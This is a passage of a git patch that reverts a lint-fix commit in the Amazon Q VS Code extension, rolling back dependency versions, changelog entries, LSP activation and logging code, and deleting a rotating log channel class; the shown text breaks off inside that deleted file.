From c8fd082edea72eba12f8e5b8ab47793a550985da Mon Sep 17 00:00:00 2001 From: laileni Date: Fri, 18 Jul 2025 18:36:24 -0700 Subject: [PATCH 1/2] Revert "Fix lint issues" This reverts commit 85f50457b619d1ecd4cfa3fd548f0142a49e9211. --- package-lock.json | 20 +- packages/amazonq/.changes/1.84.0.json | 18 -- ...-316fb610-0ea9-40d1-bdb7-d371a6be4a4e.json | 4 - ...-45aef014-07f3-4511-a9f6-d7233077784c.json | 4 + ...-91380b87-5955-4c15-b762-31e7f1c71575.json | 4 + ...-9d694e40-7fc7-4504-b08c-6b22a5ebcb1c.json | 4 - ...-9e413673-5ef6-4920-97b1-e73635f3a0f5.json | 4 + packages/amazonq/CHANGELOG.md | 6 - packages/amazonq/package.json | 2 +- .../app/inline/EditRendering/imageRenderer.ts | 6 - packages/amazonq/src/app/inline/completion.ts | 15 +- .../src/app/inline/documentEventListener.ts | 19 -- .../src/app/inline/recommendationService.ts | 15 +- packages/amazonq/src/extension.ts | 25 +- packages/amazonq/src/lsp/chat/messages.ts | 17 +- packages/amazonq/src/lsp/client.ts | 115 ++------ packages/amazonq/src/lsp/config.ts | 10 +- .../amazonq/src/lsp/rotatingLogChannel.ts | 246 ---------------- .../src/test/rotatingLogChannel.test.ts | 192 ------------- .../apps/inline/recommendationService.test.ts | 2 - .../test/unit/amazonq/lsp/client.test.ts | 268 ------------------ .../test/unit/amazonq/lsp/config.test.ts | 148 ---------- .../EditRendering/imageRenderer.test.ts | 2 - .../securityIssueHoverProvider.test.ts | 36 +-- packages/core/package.json | 4 +- packages/core/src/auth/activation.ts | 2 +- .../codewhisperer/commands/basicCommands.ts | 6 - .../region/regionProfileManager.ts | 4 +- .../service/securityIssueHoverProvider.ts | 2 +- packages/core/src/shared/featureConfig.ts | 25 -- packages/core/src/shared/utilities/index.ts | 1 - .../src/shared/utilities/resourceCache.ts | 15 - .../core/src/test/auth/activation.test.ts | 146 ---------- packages/core/src/test/lambda/utils.test.ts | 25 -- scripts/package.ts | 69 +++++ 35 files changed, 154 insertions(+), 1327 deletions(-) delete mode 100644 packages/amazonq/.changes/1.84.0.json delete mode 100644 packages/amazonq/.changes/next-release/Bug Fix-316fb610-0ea9-40d1-bdb7-d371a6be4a4e.json create mode 100644 packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json create mode 100644 packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json delete mode 100644 packages/amazonq/.changes/next-release/Bug Fix-9d694e40-7fc7-4504-b08c-6b22a5ebcb1c.json create mode 100644 packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json delete mode 100644 packages/amazonq/src/lsp/rotatingLogChannel.ts delete mode 100644 packages/amazonq/src/test/rotatingLogChannel.test.ts delete mode 100644 packages/amazonq/test/unit/amazonq/lsp/client.test.ts delete mode 100644 packages/core/src/test/auth/activation.test.ts diff --git a/package-lock.json b/package-lock.json index 6e8baa4a894..ed21305ffee 100644 --- a/package-lock.json +++ b/package-lock.json @@ -15044,13 +15044,13 @@ } }, "node_modules/@aws/language-server-runtimes": { - "version": "0.2.111", - "resolved": "https://registry.npmjs.org/@aws/language-server-runtimes/-/language-server-runtimes-0.2.111.tgz", - "integrity": "sha512-eIHKzWkLTTb3qUCeT2nIrpP99dEv/OiUOcPB00MNCsOPWBBO/IoZhfGRNrE8+stgZMQkKLFH2ZYxn3ByB6OsCQ==", + "version": "0.2.102", + "resolved": "https://registry.npmjs.org/@aws/language-server-runtimes/-/language-server-runtimes-0.2.102.tgz", + "integrity": "sha512-O68zmXClLP6mtKxh0fzGKYW3MwgFCTkAgL32WKzOWLwD6gMc5CaVRrNsZ2cabkAudf2laTeWeSDZJZsiQ0hCfA==", "dev": true, "license": "Apache-2.0", "dependencies": { - "@aws/language-server-runtimes-types": "^0.1.47", + "@aws/language-server-runtimes-types": "^0.1.43", "@opentelemetry/api": "^1.9.0", "@opentelemetry/api-logs": "^0.200.0", "@opentelemetry/core": "^2.0.0", @@ -15077,9 +15077,9 @@ } }, "node_modules/@aws/language-server-runtimes-types": { - "version": "0.1.47", - "resolved": "https://registry.npmjs.org/@aws/language-server-runtimes-types/-/language-server-runtimes-types-0.1.47.tgz", - "integrity": "sha512-l5dOdx/MR3SO0HYXkSL9fcR05f4Aw7qRMuASMdWOK93LOSZeANPVOGIWblRnoJejfYiPXcufCFyjLnGpATExag==", + "version": "0.1.43", + "resolved": "https://registry.npmjs.org/@aws/language-server-runtimes-types/-/language-server-runtimes-types-0.1.43.tgz", + "integrity": "sha512-qXaAGkiJ1hldF+Ynu6ZBXS18s47UOnbZEHxKiGRrBlBX2L75ih/4yasj8ITgshqS5Kx5JMntu+8vpc0CkGV6jA==", "dev": true, "license": "Apache-2.0", "dependencies": { @@ -29954,7 +29954,7 @@ }, "packages/amazonq": { "name": "amazon-q-vscode", - "version": "1.85.0-SNAPSHOT", + "version": "1.84.0-SNAPSHOT", "license": "Apache-2.0", "dependencies": { "aws-core-vscode": "file:../core/" @@ -30063,8 +30063,8 @@ "@aws-sdk/types": "^3.13.1", "@aws/chat-client": "^0.1.4", "@aws/chat-client-ui-types": "^0.1.47", - "@aws/language-server-runtimes": "^0.2.111", - "@aws/language-server-runtimes-types": "^0.1.47", + "@aws/language-server-runtimes": "^0.2.102", + "@aws/language-server-runtimes-types": "^0.1.43", "@cspotcode/source-map-support": "^0.8.1", "@sinonjs/fake-timers": "^10.0.2", "@types/adm-zip": "^0.4.34", diff --git a/packages/amazonq/.changes/1.84.0.json b/packages/amazonq/.changes/1.84.0.json deleted file mode 100644 index e73a685e054..00000000000 --- a/packages/amazonq/.changes/1.84.0.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "date": "2025-07-17", - "version": "1.84.0", - "entries": [ - { - "type": "Bug Fix", - "description": "Slightly delay rendering inline completion when user is typing" - }, - { - "type": "Bug Fix", - "description": "Render first response before receiving all paginated inline completion results" - }, - { - "type": "Feature", - "description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab." - } - ] -} \ No newline at end of file diff --git a/packages/amazonq/.changes/next-release/Bug Fix-316fb610-0ea9-40d1-bdb7-d371a6be4a4e.json b/packages/amazonq/.changes/next-release/Bug Fix-316fb610-0ea9-40d1-bdb7-d371a6be4a4e.json deleted file mode 100644 index 1a9e5c32e6d..00000000000 --- a/packages/amazonq/.changes/next-release/Bug Fix-316fb610-0ea9-40d1-bdb7-d371a6be4a4e.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "type": "Bug Fix", - "description": "Let Enter invoke auto completion more consistently" -} diff --git a/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json b/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json new file mode 100644 index 00000000000..4d45af73411 --- /dev/null +++ b/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json @@ -0,0 +1,4 @@ +{ + "type": "Bug Fix", + "description": "Slightly delay rendering inline completion when user is typing" +} diff --git a/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json b/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json new file mode 100644 index 00000000000..72293c3b97a --- /dev/null +++ b/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json @@ -0,0 +1,4 @@ +{ + "type": "Bug Fix", + "description": "Render first response before receiving all paginated inline completion results" +} diff --git a/packages/amazonq/.changes/next-release/Bug Fix-9d694e40-7fc7-4504-b08c-6b22a5ebcb1c.json b/packages/amazonq/.changes/next-release/Bug Fix-9d694e40-7fc7-4504-b08c-6b22a5ebcb1c.json deleted file mode 100644 index f2234549a0d..00000000000 --- a/packages/amazonq/.changes/next-release/Bug Fix-9d694e40-7fc7-4504-b08c-6b22a5ebcb1c.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "type": "Bug Fix", - "description": "Use documentChangeEvent as auto trigger condition" -} diff --git a/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json b/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json new file mode 100644 index 00000000000..af699a24355 --- /dev/null +++ b/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json @@ -0,0 +1,4 @@ +{ + "type": "Feature", + "description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab." +} diff --git a/packages/amazonq/CHANGELOG.md b/packages/amazonq/CHANGELOG.md index ccf3fb8a215..980abde9d63 100644 --- a/packages/amazonq/CHANGELOG.md +++ b/packages/amazonq/CHANGELOG.md @@ -1,9 +1,3 @@ -## 1.84.0 2025-07-17 - -- **Bug Fix** Slightly delay rendering inline completion when user is typing -- **Bug Fix** Render first response before receiving all paginated inline completion results -- **Feature** Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab. - ## 1.83.0 2025-07-09 - **Feature** Amazon Q /test, /doc, and /dev capabilities integrated into Agentic coding. diff --git a/packages/amazonq/package.json b/packages/amazonq/package.json index fd83354aca8..25ab19b6ffb 100644 --- a/packages/amazonq/package.json +++ b/packages/amazonq/package.json @@ -2,7 +2,7 @@ "name": "amazon-q-vscode", "displayName": "Amazon Q", "description": "The most capable generative AI-powered assistant for building, operating, and transforming software, with advanced capabilities for managing data and AI", - "version": "1.85.0-SNAPSHOT", + "version": "1.84.0-SNAPSHOT", "extensionKind": [ "workspace" ], diff --git a/packages/amazonq/src/app/inline/EditRendering/imageRenderer.ts b/packages/amazonq/src/app/inline/EditRendering/imageRenderer.ts index 195879ff779..9af3878ef82 100644 --- a/packages/amazonq/src/app/inline/EditRendering/imageRenderer.ts +++ b/packages/amazonq/src/app/inline/EditRendering/imageRenderer.ts @@ -29,12 +29,6 @@ export async function showEdits( const { svgImage, startLine, newCode, origionalCodeHighlightRange } = await svgGenerationService.generateDiffSvg(currentFile, item.insertText as string) - // TODO: To investigate why it fails and patch [generateDiffSvg] - if (newCode.length === 0) { - getLogger('nextEditPrediction').warn('not able to apply provided edit suggestion, skip rendering') - return - } - if (svgImage) { // display the SVG image await displaySvgDecoration( diff --git a/packages/amazonq/src/app/inline/completion.ts b/packages/amazonq/src/app/inline/completion.ts index 9020deac824..360be53e67a 100644 --- a/packages/amazonq/src/app/inline/completion.ts +++ b/packages/amazonq/src/app/inline/completion.ts @@ -241,12 +241,6 @@ export class AmazonQInlineCompletionItemProvider implements InlineCompletionItem return [] } - const isAutoTrigger = context.triggerKind === InlineCompletionTriggerKind.Automatic - if (isAutoTrigger && !CodeSuggestionsState.instance.isSuggestionsEnabled()) { - // return early when suggestions are disabled with auto trigger - return [] - } - // yield event loop to let the document listen catch updates await sleep(1) // prevent user deletion invoking auto trigger @@ -260,6 +254,12 @@ export class AmazonQInlineCompletionItemProvider implements InlineCompletionItem try { const t0 = performance.now() vsCodeState.isRecommendationsActive = true + const isAutoTrigger = context.triggerKind === InlineCompletionTriggerKind.Automatic + if (isAutoTrigger && !CodeSuggestionsState.instance.isSuggestionsEnabled()) { + // return early when suggestions are disabled with auto trigger + return [] + } + // handling previous session const prevSession = this.sessionManager.getActiveSession() const prevSessionId = prevSession?.sessionId @@ -335,8 +335,7 @@ export class AmazonQInlineCompletionItemProvider implements InlineCompletionItem context, token, isAutoTrigger, - getAllRecommendationsOptions, - this.documentEventListener.getLastDocumentChangeEvent(document.uri.fsPath)?.event + getAllRecommendationsOptions ) // get active item from session for displaying const items = this.sessionManager.getActiveRecommendation() diff --git a/packages/amazonq/src/app/inline/documentEventListener.ts b/packages/amazonq/src/app/inline/documentEventListener.ts index 36f65dc7331..4e60b595ce2 100644 --- a/packages/amazonq/src/app/inline/documentEventListener.ts +++ b/packages/amazonq/src/app/inline/documentEventListener.ts @@ -21,11 +21,6 @@ export class DocumentEventListener { this.lastDocumentChangeEventMap.clear() } this.lastDocumentChangeEventMap.set(e.document.uri.fsPath, { event: e, timestamp: performance.now() }) - // The VS Code provideInlineCompletionCallback may not trigger when Enter is pressed, especially in Python files - // manually make this trigger. In case of duplicate, the provideInlineCompletionCallback is already debounced - if (this.isEnter(e) && vscode.window.activeTextEditor) { - void vscode.commands.executeCommand('editor.action.inlineSuggest.trigger') - } } }) } @@ -52,18 +47,4 @@ export class DocumentEventListener { this.documentChangeListener.dispose() } } - - private isEnter(e: vscode.TextDocumentChangeEvent): boolean { - if (e.contentChanges.length !== 1) { - return false - } - const str = e.contentChanges[0].text - if (str.length === 0) { - return false - } - return ( - (str.startsWith('\r\n') && str.substring(2).trim() === '') || - (str[0] === '\n' && str.substring(1).trim() === '') - ) - } } diff --git a/packages/amazonq/src/app/inline/recommendationService.ts b/packages/amazonq/src/app/inline/recommendationService.ts index 1329c68a51c..ddde310999f 100644 --- a/packages/amazonq/src/app/inline/recommendationService.ts +++ b/packages/amazonq/src/app/inline/recommendationService.ts @@ -2,12 +2,10 @@ * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0 */ -import * as vscode from 'vscode' import { InlineCompletionListWithReferences, InlineCompletionWithReferencesParams, inlineCompletionWithReferencesRequestType, - TextDocumentContentChangeEvent, } from '@aws/language-server-runtimes/protocol' import { CancellationToken, InlineCompletionContext, Position, TextDocument } from 'vscode' import { LanguageClient } from 'vscode-languageclient' @@ -42,20 +40,10 @@ export class RecommendationService { context: InlineCompletionContext, token: CancellationToken, isAutoTrigger: boolean, - options: GetAllRecommendationsOptions = { emitTelemetry: true, showUi: true }, - documentChangeEvent?: vscode.TextDocumentChangeEvent + options: GetAllRecommendationsOptions = { emitTelemetry: true, showUi: true } ) { // Record that a regular request is being made this.cursorUpdateRecorder?.recordCompletionRequest() - const documentChangeParams = documentChangeEvent - ? { - textDocument: { - uri: document.uri.toString(), - version: document.version, - }, - contentChanges: documentChangeEvent.contentChanges.map((x) => x as TextDocumentContentChangeEvent), - } - : undefined let request: InlineCompletionWithReferencesParams = { textDocument: { @@ -63,7 +51,6 @@ export class RecommendationService { }, position, context, - documentChangeParams: documentChangeParams, } if (options.editsStreakToken) { request = { ...request, partialResultToken: options.editsStreakToken } diff --git a/packages/amazonq/src/extension.ts b/packages/amazonq/src/extension.ts index 1e26724ff61..9ca13136eab 100644 --- a/packages/amazonq/src/extension.ts +++ b/packages/amazonq/src/extension.ts @@ -3,7 +3,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -import { AuthUtils, CredentialsStore, LoginManager, initializeAuth } from 'aws-core-vscode/auth' +import { Auth, AuthUtils, CredentialsStore, LoginManager, initializeAuth } from 'aws-core-vscode/auth' import { activate as activateCodeWhisperer, shutdown as shutdownCodeWhisperer } from 'aws-core-vscode/codewhisperer' import { makeEndpointsProvider, registerGenericCommands } from 'aws-core-vscode' import { CommonAuthWebview } from 'aws-core-vscode/login' @@ -44,8 +44,8 @@ import * as vscode from 'vscode' import { registerCommands } from './commands' import { focusAmazonQPanel } from 'aws-core-vscode/codewhispererChat' import { activate as activateAmazonqLsp } from './lsp/activation' +import { activate as activateInlineCompletion } from './app/inline/activation' import { hasGlibcPatch } from './lsp/client' -import { RotatingLogChannel } from './lsp/rotatingLogChannel' export const amazonQContextPrefix = 'amazonq' @@ -104,12 +104,7 @@ export async function activateAmazonQCommon(context: vscode.ExtensionContext, is globals.manifestPaths.endpoints = context.asAbsolutePath(join('resources', 'endpoints.json')) globals.regionProvider = RegionProvider.fromEndpointsProvider(makeEndpointsProvider()) - // Create rotating log channel for all Amazon Q logs - const qLogChannel = new RotatingLogChannel( - 'Amazon Q Logs', - context, - vscode.window.createOutputChannel('Amazon Q Logs', { log: true }) - ) + const qLogChannel = vscode.window.createOutputChannel('Amazon Q Logs', { log: true }) await activateLogger(context, amazonQContextPrefix, qLogChannel) globals.logOutputChannel = qLogChannel globals.loginManager = new LoginManager(globals.awsContext, new CredentialsStore()) @@ -118,8 +113,6 @@ export async function activateAmazonQCommon(context: vscode.ExtensionContext, is getLogger().error('fs.init: invalid env vars found: %O', homeDirLogs) } - getLogger().info('Rotating logger has been setup') - await activateTelemetry(context, globals.awsContext, Settings.instance, 'Amazon Q For VS Code') await initializeAuth(globals.loginManager) @@ -133,11 +126,17 @@ export async function activateAmazonQCommon(context: vscode.ExtensionContext, is // This contains every lsp agnostic things (auth, security scan, code scan) await activateCodeWhisperer(extContext as ExtContext) - - if (!isAmazonLinux2() || hasGlibcPatch()) { - // Activate Amazon Q LSP for everyone unless they're using AL2 without the glibc patch + if ( + (Experiments.instance.get('amazonqLSP', true) || Auth.instance.isInternalAmazonUser()) && + (!isAmazonLinux2() || hasGlibcPatch()) + ) { + // start the Amazon Q LSP for internal users first + // for AL2, start LSP if glibc patch is found await activateAmazonqLsp(context) } + if (!Experiments.instance.get('amazonqLSPInline', true)) { + await activateInlineCompletion() + } // Generic extension commands registerGenericCommands(context, amazonQContextPrefix) diff --git a/packages/amazonq/src/lsp/chat/messages.ts b/packages/amazonq/src/lsp/chat/messages.ts index f869bbe0da3..9841c7edee9 100644 --- a/packages/amazonq/src/lsp/chat/messages.ts +++ b/packages/amazonq/src/lsp/chat/messages.ts @@ -95,7 +95,6 @@ import { decryptResponse, encryptRequest } from '../encryption' import { getCursorState } from '../utils' import { focusAmazonQPanel } from './commands' import { ChatMessage } from '@aws/language-server-runtimes/server-interface' -import { CommentUtils } from 'aws-core-vscode/utils' export function registerActiveEditorChangeListener(languageClient: LanguageClient) { let debounceTimer: NodeJS.Timeout | undefined @@ -702,7 +701,7 @@ async function handleCompleteResult( ) { const decryptedMessage = await decryptResponse(result, encryptionKey) - await handleSecurityFindings(decryptedMessage, languageClient) + handleSecurityFindings(decryptedMessage, languageClient) void provider.webview?.postMessage({ command: chatRequestType.method, @@ -717,10 +716,10 @@ async function handleCompleteResult( disposable.dispose() } -async function handleSecurityFindings( +function handleSecurityFindings( decryptedMessage: { additionalMessages?: ChatMessage[] }, languageClient: LanguageClient -): Promise { +): void { if (decryptedMessage.additionalMessages === undefined || decryptedMessage.additionalMessages.length === 0) { return } @@ -731,18 +730,10 @@ async function handleSecurityFindings( try { const aggregatedCodeScanIssues: AggregatedCodeScanIssue[] = JSON.parse(message.body) for (const aggregatedCodeScanIssue of aggregatedCodeScanIssues) { - const document = await vscode.workspace.openTextDocument(aggregatedCodeScanIssue.filePath) for (const issue of aggregatedCodeScanIssue.issues) { - const isIssueTitleIgnored = CodeWhispererSettings.instance + issue.visible = !CodeWhispererSettings.instance .getIgnoredSecurityIssues() .includes(issue.title) - const isSingleIssueIgnored = CommentUtils.detectCommentAboveLine( - document, - issue.startLine, - CodeWhispererConstants.amazonqIgnoreNextLine - ) - - issue.visible = !isIssueTitleIgnored && !isSingleIssueIgnored } } initSecurityScanRender(aggregatedCodeScanIssues, undefined, CodeAnalysisScope.PROJECT) diff --git a/packages/amazonq/src/lsp/client.ts b/packages/amazonq/src/lsp/client.ts index e94842123ac..e6ef1e5dd9c 100644 --- a/packages/amazonq/src/lsp/client.ts +++ b/packages/amazonq/src/lsp/client.ts @@ -8,7 +8,6 @@ import * as nls from 'vscode-nls' import { LanguageClient, LanguageClientOptions, RequestType, State } from 'vscode-languageclient' import { InlineCompletionManager } from '../app/inline/completion' import { AmazonQLspAuth, encryptionKey, notificationTypes } from './auth' -import { RotatingLogChannel } from './rotatingLogChannel' import { CreateFilesParams, DeleteFilesParams, @@ -95,23 +94,6 @@ export async function startLanguageServer( const clientId = 'amazonq' const traceServerEnabled = Settings.instance.isSet(`${clientId}.trace.server`) - - // Create custom output channel that writes to disk but sends UI output to the appropriate channel - const lspLogChannel = new RotatingLogChannel( - traceServerEnabled ? 'Amazon Q Language Server' : 'Amazon Q Logs', - extensionContext, - traceServerEnabled - ? vscode.window.createOutputChannel('Amazon Q Language Server', { log: true }) - : globals.logOutputChannel - ) - - // Add cleanup for our file output channel - toDispose.push({ - dispose: () => { - lspLogChannel.dispose() - }, - }) - let executable: string[] = [] // apply the GLIBC 2.28 path to node js runtime binary if (isSageMaker()) { @@ -186,7 +168,6 @@ export async function startLanguageServer( reroute: true, modelSelection: true, workspaceFilePath: vscode.workspace.workspaceFile?.fsPath, - qCodeReviewInChat: true, }, window: { notifications: true, @@ -209,9 +190,15 @@ export async function startLanguageServer( }, }, /** - * Using our RotatingLogger for all logs + * When the trace server is enabled it outputs a ton of log messages so: + * When trace server is enabled, logs go to a seperate "Amazon Q Language Server" output. + * Otherwise, logs go to the regular "Amazon Q Logs" channel. */ - outputChannel: lspLogChannel, + ...(traceServerEnabled + ? {} + : { + outputChannel: globals.logOutputChannel, + }), } const client = new LanguageClient( @@ -264,59 +251,6 @@ async function initializeAuth(client: LanguageClient): Promise { return auth } -// jscpd:ignore-start -async function initializeLanguageServerConfiguration(client: LanguageClient, context: string = 'startup') { - const logger = getLogger('amazonqLsp') - - if (AuthUtil.instance.isConnectionValid()) { - logger.info(`[${context}] Initializing language server configuration`) - // jscpd:ignore-end - - try { - // Send profile configuration - logger.debug(`[${context}] Sending profile configuration to language server`) - await sendProfileToLsp(client) - logger.debug(`[${context}] Profile configuration sent successfully`) - - // Send customization configuration - logger.debug(`[${context}] Sending customization configuration to language server`) - await pushConfigUpdate(client, { - type: 'customization', - customization: getSelectedCustomization(), - }) - logger.debug(`[${context}] Customization configuration sent successfully`) - - logger.info(`[${context}] Language server configuration completed successfully`) - } catch (error) { - logger.error(`[${context}] Failed to initialize language server configuration: ${error}`) - throw error - } - } else { - logger.warn( - `[${context}] Connection invalid, skipping language server configuration - this will cause authentication failures` - ) - const activeConnection = AuthUtil.instance.auth.activeConnection - const connectionState = activeConnection - ? AuthUtil.instance.auth.getConnectionState(activeConnection) - : 'no-connection' - logger.warn(`[${context}] Connection state: ${connectionState}`) - } -} - -async function sendProfileToLsp(client: LanguageClient) { - const logger = getLogger('amazonqLsp') - const profileArn = AuthUtil.instance.regionProfileManager.activeRegionProfile?.arn - - logger.debug(`Sending profile to LSP: ${profileArn || 'undefined'}`) - - await pushConfigUpdate(client, { - type: 'profile', - profileArn: profileArn, - }) - - logger.debug(`Profile sent to LSP successfully`) -} - async function onLanguageServerReady( extensionContext: vscode.ExtensionContext, auth: AmazonQLspAuth, @@ -348,7 +282,14 @@ async function onLanguageServerReady( // We manually push the cached values the first time since event handlers, which should push, may not have been setup yet. // Execution order is weird and should be fixed in the flare implementation. // TODO: Revisit if we need this if we setup the event handlers properly - await initializeLanguageServerConfiguration(client, 'startup') + if (AuthUtil.instance.isConnectionValid()) { + await sendProfileToLsp(client) + + await pushConfigUpdate(client, { + type: 'customization', + customization: getSelectedCustomization(), + }) + } toDispose.push( inlineManager, @@ -450,6 +391,13 @@ async function onLanguageServerReady( // Set this inside onReady so that it only triggers on subsequent language server starts (not the first) onServerRestartHandler(client, auth) ) + + async function sendProfileToLsp(client: LanguageClient) { + await pushConfigUpdate(client, { + type: 'profile', + profileArn: AuthUtil.instance.regionProfileManager.activeRegionProfile?.arn, + }) + } } /** @@ -469,21 +417,8 @@ function onServerRestartHandler(client: LanguageClient, auth: AmazonQLspAuth) { // TODO: Port this metric override to common definitions telemetry.languageServer_crash.emit({ id: 'AmazonQ' }) - const logger = getLogger('amazonqLsp') - logger.info('[crash-recovery] Language server crash detected, reinitializing authentication') - - try { - // Send bearer token - logger.debug('[crash-recovery] Refreshing connection and sending bearer token') - await auth.refreshConnection(true) - logger.debug('[crash-recovery] Bearer token sent successfully') - - // Send profile and customization configuration - await initializeLanguageServerConfiguration(client, 'crash-recovery') - logger.info('[crash-recovery] Authentication reinitialized successfully') - } catch (error) { - logger.error(`[crash-recovery] Failed to reinitialize after crash: ${error}`) - } + // Need to set the auth token in the again + await auth.refreshConnection(true) }) } diff --git a/packages/amazonq/src/lsp/config.ts b/packages/amazonq/src/lsp/config.ts index 6b88eb98d21..66edc9ff6f1 100644 --- a/packages/amazonq/src/lsp/config.ts +++ b/packages/amazonq/src/lsp/config.ts @@ -3,7 +3,7 @@ * SPDX-License-Identifier: Apache-2.0 */ import * as vscode from 'vscode' -import { DevSettings, getServiceEnvVarConfig, BaseLspInstaller, getLogger } from 'aws-core-vscode/shared' +import { DevSettings, getServiceEnvVarConfig, BaseLspInstaller } from 'aws-core-vscode/shared' import { LanguageClient } from 'vscode-languageclient' import { DidChangeConfigurationNotification, @@ -68,31 +68,23 @@ export function toAmazonQLSPLogLevel(logLevel: vscode.LogLevel): LspLogLevel { * push the given config. */ export async function pushConfigUpdate(client: LanguageClient, config: QConfigs) { - const logger = getLogger('amazonqLsp') - switch (config.type) { case 'profile': - logger.debug(`Pushing profile configuration: ${config.profileArn || 'undefined'}`) await client.sendRequest(updateConfigurationRequestType.method, { section: 'aws.q', settings: { profileArn: config.profileArn }, }) - logger.debug(`Profile configuration pushed successfully`) break case 'customization': - logger.debug(`Pushing customization configuration: ${config.customization || 'undefined'}`) client.sendNotification(DidChangeConfigurationNotification.type.method, { section: 'aws.q', settings: { customization: config.customization }, }) - logger.debug(`Customization configuration pushed successfully`) break case 'logLevel': - logger.debug(`Pushing log level configuration`) client.sendNotification(DidChangeConfigurationNotification.type.method, { section: 'aws.logLevel', }) - logger.debug(`Log level configuration pushed successfully`) break } } diff --git a/packages/amazonq/src/lsp/rotatingLogChannel.ts b/packages/amazonq/src/lsp/rotatingLogChannel.ts deleted file mode 100644 index b8e3df276f9..00000000000 --- a/packages/amazonq/src/lsp/rotatingLogChannel.ts +++ /dev/null @@ -1,246 +0,0 @@ -/*! - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0 - */ - -import * as vscode from 'vscode' -import * as path from 'path' -import * as fs from 'fs' // eslint-disable-line no-restricted-imports -import { getLogger } from 'aws-core-vscode/shared' - -export class RotatingLogChannel implements vscode.LogOutputChannel { - private fileStream: fs.WriteStream | undefined - private originalChannel: vscode.LogOutputChannel - private logger = getLogger('amazonqLsp') - private currentFileSize = 0 - // eslint-disable-next-line @typescript-eslint/naming-convention - private readonly MAX_FILE_SIZE = 5 * 1024 * 1024 // 5MB - // eslint-disable-next-line @typescript-eslint/naming-convention - private readonly MAX_LOG_FILES = 4 - private static currentLogPath: string | undefined - - private static generateNewLogPath(logDir: string): string { - const timestamp = new Date().toISOString().replace(/[:.]/g, '-').replace('T', '-').replace('Z', '') - return path.join(logDir, `amazonq-lsp-${timestamp}.log`) - } - - constructor( - public readonly name: string, - private readonly extensionContext: vscode.ExtensionContext, - outputChannel: vscode.LogOutputChannel - ) { - this.originalChannel = outputChannel - this.initFileStream() - } - - private async cleanupOldLogs(): Promise { - try { - const logDir = this.extensionContext.storageUri?.fsPath - if (!logDir) { - return - } - - // Get all log files - const files = await fs.promises.readdir(logDir) - const logFiles = files - .filter((f) => f.startsWith('amazonq-lsp-') && f.endsWith('.log')) - .map((f) => ({ - name: f, - path: path.join(logDir, f), - time: fs.statSync(path.join(logDir, f)).mtime.getTime(), - })) - .sort((a, b) => b.time - a.time) // Sort newest to oldest - - // Remove all but the most recent MAX_LOG_FILES files - for (const file of logFiles.slice(this.MAX_LOG_FILES - 1)) { - try { - await fs.promises.unlink(file.path) - this.logger.debug(`Removed old log file: ${file.path}`) - } catch (err) { - this.logger.error(`Failed to remove old log file ${file.path}: ${err}`) - } - } - } catch (err) { - this.logger.error(`Failed to cleanup old logs: ${err}`) - } - } - - private getLogFilePath(): string { - // If we already have a path, reuse it - if (RotatingLogChannel.currentLogPath) { - return RotatingLogChannel.currentLogPath - } - - const logDir = this.extensionContext.storageUri?.fsPath - if (!logDir) { - throw new Error('No storage URI available') - } - - // Generate initial path - RotatingLogChannel.currentLogPath = RotatingLogChannel.generateNewLogPath(logDir) - return RotatingLogChannel.currentLogPath - } - - private async rotateLog(): Promise { - try { - // Close current stream - if (this.fileStream) { - this.fileStream.end() - } - - const logDir = this.extensionContext.storageUri?.fsPath - if (!logDir) { - throw new Error('No storage URI available') - } - - // Generate new path directly - RotatingLogChannel.currentLogPath = RotatingLogChannel.generateNewLogPath(logDir) - - // Create new log file with new path - this.fileStream = fs.createWriteStream(RotatingLogChannel.currentLogPath, { flags: 'a' }) - this.currentFileSize = 0 - - // Clean up old files - await this.cleanupOldLogs() - - this.logger.info(`Created new log file: ${RotatingLogChannel.currentLogPath}`) - } catch (err) { - this.logger.error(`Failed to rotate log file: ${err}`) - } - } - - private initFileStream() { - try { - const logDir = this.extensionContext.storageUri - if (!logDir) { - this.logger.error('Failed to get storage URI for logs') - return - } - - // Ensure directory exists - if (!fs.existsSync(logDir.fsPath)) { - fs.mkdirSync(logDir.fsPath, { recursive: true }) - } - - const logPath = this.getLogFilePath() - this.fileStream = fs.createWriteStream(logPath, { flags: 'a' }) - this.currentFileSize = 0 - this.logger.info(`Logging to file: ${logPath}`) - } catch (err) { - this.logger.error(`Failed to create log file: ${err}`) - } - } - - get logLevel(): vscode.LogLevel { - return this.originalChannel.logLevel - } - - get onDidChangeLogLevel(): vscode.Event { - return this.originalChannel.onDidChangeLogLevel - } - - trace(message: string, ...args: any[]): void { - this.originalChannel.trace(message, ...args) - this.writeToFile(`[TRACE] ${message}`) - } - - debug(message: string, ...args: any[]): void { - this.originalChannel.debug(message, ...args) - this.writeToFile(`[DEBUG] ${message}`) - } - - info(message: string, ...args: any[]): void { - this.originalChannel.info(message, ...args) - this.writeToFile(`[INFO] ${message}`) - } - - warn(message: string, ...args: any[]): void { - this.originalChannel.warn(message, ...args) - this.writeToFile(`[WARN] ${message}`) - } - - error(message: string | Error, 